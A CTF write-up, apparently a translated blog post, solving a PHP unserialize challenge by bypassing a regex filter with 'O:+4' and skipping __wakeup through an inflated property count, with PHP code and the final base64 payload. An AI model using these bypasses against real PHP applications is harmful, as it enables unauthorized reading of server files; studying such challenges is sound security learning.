Attack and defense World Web_ php_ Deserialize deserialize

Yesterday, I helped play a game. There was also a problem of deserialization in the web topic. I also used the call of magic methods to construct the pop chain and obtain the flag, but the problem was so good that I couldn't write it. Then there were questions about json. I found that I didn't learn a lot. It's easy to beat my people out of a game.
This problem is also a problem that I didn't understand until I read it for a long time.
No more nonsense, just go to the code

 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

Deserialization questions basically test the bypass of functions and the construction of pop chains. To be honest, as long as the pop chains are more difficult, I basically have no clue. I feel like I have to learn for a long time.
Code audit first
Look at the magic function inside
__ construct() is called when instantiating an object
__ destruct() is called when an object is deleted or the object operation is terminated
__ wakeup() is called when the unserialize() function is used

We must learn object-oriented well and understand classes and objects well
Then the pop chain is to find the functions in the last class you want to execute, find the relationship between various classes and functions, call layers, and finally execute to the place you want to execute

class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 

Focus on this class
See the secret is in the fl4g.php, which means the answer is in fl4g.php
So how to access this is what we need to think about. Next, we see a function

 function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
Highlight in page $this->file That is to say, this is the function we need. Look again
$this->file How to make him equal to fl4g.php  See again
 public function __construct($file) { 
        $this->file = $file; 
    }

This function can achieve the purpose we want, that is, after you instantiate an object, you will directly call this function, which is roughly
$t=new class (); This function is called when. The file value is then passed in
Then can we let
$t=new Demo('fl4g.php ') to pass parameters to execute this function, and this paragraph follows

 function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 

If the value of $this - > file is not index.php, and it is assigned to index.php, our previous parameters will be wasted. This function cannot be left, and the call of this function is_ After the construct call
So we have to bypass it. We'll talk about this later. Next is the input part

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

Here we can see that the value of var is decoded by base64 before regular matching. I saw a blog talk about regular matching very carefully, but I can't find QAQ now. Let's take a good look at regular matching. You can directly open the online regular matching website to try, that is to say [O,C]:[0-9]: these will be regularly matched, but we will inevitably be regularly matched during serialization, so just try to bypass it. The feature + [0-9] in php is equivalent to [0-9]. So do you have a clue? Next, let's show you my payload

 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$file='fl4g.php';
$t=new Demo($file);
echo serialize($t);
echo base64_encode(serialize($t));

$t=new Demo($file); such
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9
Let the value of var be equal to this, so that this string of values will be passed in and executed first_ The construct() function is executed again
_ Wake up (), then we'll find a way to get around this_ wakeup() applies a vulnerability here,
O:4: "Demo": 1:{s:10: "Demo file"; s:8: "fl4g.php";} do you see the one marked in bold italics in this string? If the value indicating the number of object attributes is greater than the actual number, this will be bypassed_ wakeup(), so add the previous filter and we'll get one
O:+4: "Demo": 2:{s:10: "Demo file"; s:8: "fl4g.php";} then take this string to base64 coding. Naive, I really took it to encrypt and put it in. As a result, there was no content. I spit it out directly. Later, I checked the boss's blog and found the problem
Because the file attribute in the Demo class is a private attribute, after serialization, there will be% 00 blocking before and after the class name, so we directly replace the whole string in the php file and continue base64 coding with php

$m=serialize($t);
$m=str_replace('1:','2:',$m);
$m=str_replace('O:4','O:+4',$m);
echo base64_encode($m);

Finally get
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
Brush more questions, see more questions, summarize more questions, and be sure to do more and see more! This is very important. The construction of pop chain really needs to see more and think about the relationship between each class and function. Come on, every CTF person and penetration tester!!!

Keywords: PHP

Added by PHP_ColdFusion on Sun, 24 Oct 2021 17:23:07 +0300